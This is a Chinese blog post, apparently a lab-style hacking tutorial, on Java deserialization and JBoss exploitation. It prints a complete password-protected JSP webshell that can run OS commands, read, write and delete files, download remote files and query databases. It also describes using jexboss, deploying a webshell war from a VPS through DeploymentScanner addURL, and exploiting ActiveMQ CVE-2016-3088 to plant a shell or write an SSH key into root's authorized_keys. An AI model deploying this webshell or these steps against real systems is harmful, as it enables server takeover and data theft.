Jirairya

JBoss

2017-09-27
hack  sec
   

WildFly,原名JBoss AS或者JBoss,是一套应用程序服务器,属于开源的企业级Java中间件软件,用于实现基于SOA架构的web应用和服务。

基础知识

Java反序列化

Java序列化就是将对象转换成字节流的过程,以便于保存在内存、文件、数据库中。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

Java反序列化就是Java序列化的逆过程,由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用于:

  • HTTP:多平台之间的通信,管理等
  • RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。
  • JMX:JMX 是一套标准的代理和服务,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于 JMX 开发的,而 JBoss 则整个系统都基于 JMX 构架。 ​

暴露或间接暴露反序列化API,导致用户可以操作传入数据,若要利用Java反序列化的漏洞,就需要在反序列化的地方传入攻击者的序列化代码。

ac ed 00 05是 java 序列化内容的特征,如果经过 base64 编码,相对应的是rO0AB

如何发现Java反序列化漏洞:

  • 从流量中发现序列化的痕迹,关键字:ac ed 00 05rO0AB
  • Java RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是1099端口
  • 从源码入手,可以被序列化的类一定实现了Serializable接口
  • 观察反序列化时的readObject()方法是否重写,重写中是否有设计不合理,可以被利用之处

从可控数据的反序列化或间接的反序列化接口入手,再在此基础上尝试构造序列化的对象。

ysoserial 是一款非常好用的 Java 反序列化漏洞检测工具,该工具通过多种机制构造 PoC ,并灵活的运用了反射机制和动态代理机制

JBoss相关漏洞

JBoss全称为JBoss Application Server,JBoss Application Server是一个基于Jave EE的web应用服务器。如果Jboss没有正确配置,它会允许攻击者进行各种恶意攻击

基本的攻击思路:利用漏洞部署一个war(war是JavaEE里基本部署单位),这个war里一般只有一个jsp的webshell,利用此shell,进行目的攻击

使用url部署一句话后门:

JBoss收到这个请求后,就会部署shell.war的文件夹,其中只有一个shell.jsp文件,随后可利用该shell.jsp执行各种命令

  • 标号2:DeploymentFileRepository是JBoss运行环境创建的JMX对象,可通过jboss.admin:service找到,这个对象实质是一个服务,可以部署一个文件
  • 标号1:jmx-console/HtmlAdaptor的本质是JBoss内在服务的调用接口。JMX是为了方便运维和监控涉及的,是为了给每个服务主体创建一个“影子”对象,该“影子对象”可控制查看主体对象的一切。此处的jmx-console/HtmlAdaptor正是控制查看所有影子对象的一个总入口
  • 标号3:构造的攻击行为

常见一些攻击方式:

  1. jmx-console/HtmlAdaptor+DeploymentFileRepository组合,比如JBoss蠕虫事件
  2. jmx-console/HtmlAdaptor+BSHDeployer组合,类似于1。BSH是一种JVM支持的shell语言,JBoss也就可以支持。这个方式是通过HTTP请求给BSHDeployer传递beanshell脚本,webshell可藏于该脚本中
  3. web-console/Invoker+DeploymentFileRepository组合,类似于1。只是换了调用接口,背后服务还是DeploymentFileRepository
  4. invoker/JMXInvokerServlet+application/x-java-serialized-object;class=org.jboss.invocation.MarshalledInvocation+BSHDeployer组合,该方式不同于以上。以上几个组合在上传payload的时候可直接读取文本,该组合有变化,实质上是用了一个HTTP请求发送给RMI,此过程在原理上相当于在2组合上套了一层MarshalledInvocation调用。MarshalledInvocation,在Java中,可以方便将一次方法调用用一个Java类描述下来,随后将编译好的字节通过网络发送,服务端收到请求后,再解析该字节码中的调用信息,最后又把请求转给BSHDeployer
  5. invokeer/JMXinvokerServlet+application/x-java-serialized-object;class=org.jboss.invocation.MarshalledInvocation+MainDeployer组合。该组合类似于4组合,不同体现在MainDeployer上,第4种组合用BSHDeployer时,webshell全部内容可以在请求中传输,而MainDeployer就不行,其需要指向远程war的url,MainDeployer将这个war下载下来之后,可再正常部署

JBoss 反序列化漏洞

0x01 配置环境:

下载JDK1.8安装包,并配置用户环境变量:

下载JBOSS AS服务器

配置环境变量:

  • JAVA_HOME变量
    • 变量名:JAVA_HOME:
    • 变量值:C:\Program Files\Java\jdk1.8.0_66
  • JBOSS_HOME变量
    • 变量名:JBOSS_HOME
    • 变量值:C:\jboss-4.2.1.GA
  • CLASSPATH变量
    • 变量名:CLASSPATH
    • 变量值:C:\jboss-4.2.1.GA\bin\run.jar

启动在JBOSS的bin目录下运行run.bat(根据报错配置环境变量):

这时只能本地访问,将$JBOSS_HOME\server\default\deploy\jboss-web.deployer\server.xml配置文件的address参数改为0.0.0.0,设置防火墙策略,即可外网访问:

检查配置环境,查看 该环境是否符合JBoss 反序列化漏洞的利用条件:

序号 自检内容 检查结果
1 JBoss JMXInvokerServlet接口(默认8080端口)以及JBoss Web Console (/web-console/) 是否禁止对外 不符合
2 以上系统是否都有在传输对象内容时,使用序列化技术(二进制流或base64encode) 不符合
3 当对这些传输数据截包并且被替换为“包含命令执行的序列化内容”时,远程命令执行即触发。 不符合

工具:

  • Java反序列化集成工具
  • JBoss反序列化漏洞getshell工具

在文件管理中找出ROOT.war,一般的jboss web根目录位置在此($_jboss/server/default/deploy/jboss-web.deployer/ROOT.war):

然后上传jsp一句话马:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd="1234";
String EC(String s,String c)throws Exception{return s;}//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance();
Connection c=DriverManager.getConnection(x[1].trim());if(x.length>2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i<l.length;i++){dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}
else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}
void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();
for(int k=0;k<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();
ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile();
FileOutputStream os=new FileOutputStream(f);for(int i=0;i<d.length();i+=2)
{os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));}os.close();}
void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}
}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);
int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}}
void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);
Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008);
try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i<=n;i++){sb.append(d.getColumnName(i)+"\t|\t");
}sb.append("\r\n");while(r.next()){for(i=1;i<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();}
catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}
%><%
String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|");
if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}
else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}
else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}
else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}
else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}
else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}
else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());
%>

使用jexboss getshell

下载:

git clone https://github.com/joaomatosf/jexboss

使用:

利用addURL函数下载部署war

找到JMX Console,然后进入页面找flavor=URL,type=DeploymentScanner

flavor=URL,type=DeploymentScanner能访问,则打包webshell为war文件格式,将该war上传到vps上,然后,打开目标站点的flavor=URL,type=DeploymentScanner,然后利用void addURL()函数,将vps上的war包的webshell复制到ParamValue中,invoke之后,下载部署到目标机器

Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)

漏洞影响版本:Apache ActiveMQ 5.x ~ 5.14.0

0x01 vps上搭建环境:

下载ActiveMQ5.10.1: http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz

wget http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz
tar -xvf apache-activemq-5.10.1-bin.tar.gz

在vps上安装java环境:

sudo apt-get install default-jre
sudo apt-get install default-jdk

0x02 测试:

开启代理,使用burpsuit,修改GET方式为PUT方式,点击go,爆出路径:

PUT /fileserver/%80/%80

暴出路径之后,利用PUT方式上传马,直接上传jsp文件失败,尝试txt文件成功:

利用MOVE方式,将刚上传的txt文件更改权限更高的路径(刚爆出的/opt/apache-activemq-5.10.1/webapps/fileserver/的fileserver同级目录下的amdin目录),并更改其后缀名为jsp:

用菜刀连接和访问该马都失败,就换个思路,使用ssh密钥登陆

在本地用ssh-kengen -t RSA生成密钥对,将公钥通过PUT方式利用burpsuit写入到目标机器:

再利用MOVE方式移动到/root/.ssh/authorized_keys:

利用扫描器对对方机器进行ssh的端口扫描,确认使用默认22端口与否,然后使用ssh连接目标机器,且目标机器是root用户。

参考

  1. 深入理解 JAVA 反序列化漏洞:https://paper.seebug.org/312/
  2. 给jboss种蛊分析
  3. 利用JBOSS漏洞拿webshell:http://www.cnseay.com/502/
  4. Apache ActiveMQ 远程代码执行漏洞 (CVE-2016-3088)分析:https://paper.seebug.org/346/

Similar Posts

上一篇 RDP劫持

下一篇 技巧总结1

Comments